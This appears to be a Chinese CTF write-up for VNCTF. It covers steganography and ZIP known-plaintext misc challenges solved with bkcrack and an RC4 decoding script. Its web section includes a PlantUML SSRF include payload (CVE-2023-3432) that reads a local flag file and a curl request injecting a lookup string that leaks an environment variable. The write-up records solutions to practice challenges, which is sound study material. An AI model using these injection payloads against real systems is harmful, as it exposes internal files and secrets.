misc
welcome.pdf
打开zip得到一个没压缩的pdf和一个压缩的7z
使用wbStego4open以空密码解码这个pdf得到7z的密码
fHsi9qhd#3
打开7z得到四张图片,文件名分别是苦命鸳鸯

额何意味

拼了一下,扫不出来。。搜了一下是汉信码,用ps二值化一下

扫

得到flag前半段
另外发现有盲水印
于是分别提取四张图的盲水印

得到flag后半段

VNCTF{Un10n_7earn_Fr0rnCNqwq}
wav也能像png那样美丽吗
右声道有morse

手抄

666,看文件尾

又是fakeflag,去看频谱

<del>首字母B有什么特别的吗...?</del>
我超 是LSB
拿silenteye解一下,居然出了

VNCTF{C@u5e_y0u_10ve_m3_dummy}
原来这就是一步登天吗

D u know Pyc?
Sect3t.jpg尾部有zip,分离得到

在flag.zip注释里有

怀疑明文攻击?
pyc文件头定义:https://ctf-wiki.org/misc/other/pyc/

注:👇这里应该是py文件修改时间和大小

已知Bit Field尾00 00 00 00
要获得magic number,我们装一个py3.12.12的环境
1conda create -n ctf-test python=3.12.12
2conda activate ctf-test
3python
1>>> import importlib.util
2>>> importlib.util.MAGIC_NUMBER
3b'\xcb\r\r\n'
4>>> importlib.util.MAGIC_NUMBER.hex()
5'cb0d0d0a'
6>>>
以及文件大小1411
所以已知明文为cb0d0d0a00000000********83050000
注:其实时间和大小都是已知的,其实明文可以是16字节
1bkcrack -C flag.zip -c attack_it.pyc -x 0 cb0d0d0a00000000 -x 12 83050000
2[15:33:13] Keys
3d7fe0787 b3af2704 99fa95dc
4bkcrack -C flag.zip -c attack_it.pyc -k d7fe0787 b3af2704 99fa95dc -U out.zip 111
于是我们可以看到flag.py的加密流程(不是misc题嘛)
flag反转 -> UTF-8编码 -> 每个字节异或0x37 -> RC4加密(密钥your-secret-key-here) -> base64编码
solution:
1import base64
2
3
4def __rc4(k, d):
5 S = list(range(256))
6 j = 0
7 lk = len(k)
8 for i in range(256):
9 j = (j + S[i] + k[i % lk]) & 0xFF
10 S[i], S[j] = S[j], S[i]
11 out = bytearray()
12 i = 0
13 j = 0
14 garbage = 0
15 for ch in d:
16 i = (i + 1) & 0xFF
17 j = (j + S[i]) & 0xFF
18 S[i], S[j] = S[j], S[i]
19 idx = (S[i] + S[j]) & 0xFF
20 kbyte = S[idx]
21 garbage ^= (kbyte ^ i ^ j) & 0
22 out.append(ch ^ kbyte)
23 _ = garbage
24 return bytes(out)
25
26
27c64 = "adJts2ab4DvAn9Zu60bNyGrOAWj72B1/kg=="
28c = base64.b64decode(c64)
29key = b"your-secret-key-here"
30b2 = __rc4(key, c)
31b1 = bytes(b ^ 0x37 for b in b2)
32s1 = b1.decode("utf-8")
33flag = s1[::-1]
34print(flag)
VNCTF{W3lc0me_T0_V&N2025}
MCServer[todo]
先看看怎么个事
蛙趣 古早系统
Linux version 4.9.0-deepin13-amd64 (yangbo@deepin.com) (gcc version 6.3.0 20170321 (Debian 6.3.0-11) ) #1 SMP PREEMPT Deepin 4.9.57-1 (2017-10-19) ()



web
notebook
搜索plantuml漏洞找到CVE-2023-3432
随便写一点
1@startuml
2!include https://bing.com
3Alice -> Bob: Message
4@enduml

1@startuml
2!include http://127.0.0.1/flag.txt
3Alice -> Bob: Message
4@enduml

VNCTF{ssR1?!_7hiS_R3aL_bug}
chatrobot
观察源码,start()会返回stderr而handle_chat_api()不会

想办法让它报错输出环境变量中的flag就行
在log4j配置中会解析${sys:cmd},那么将cmd设置成${env:FLAG}即可

1curl -X POST -d "text=\${env:FLAG} a" 'http://challenge.ilovectf.cn:30376/'

VNCTF{I0G_1#R_j_15_fUn_NufXVqb}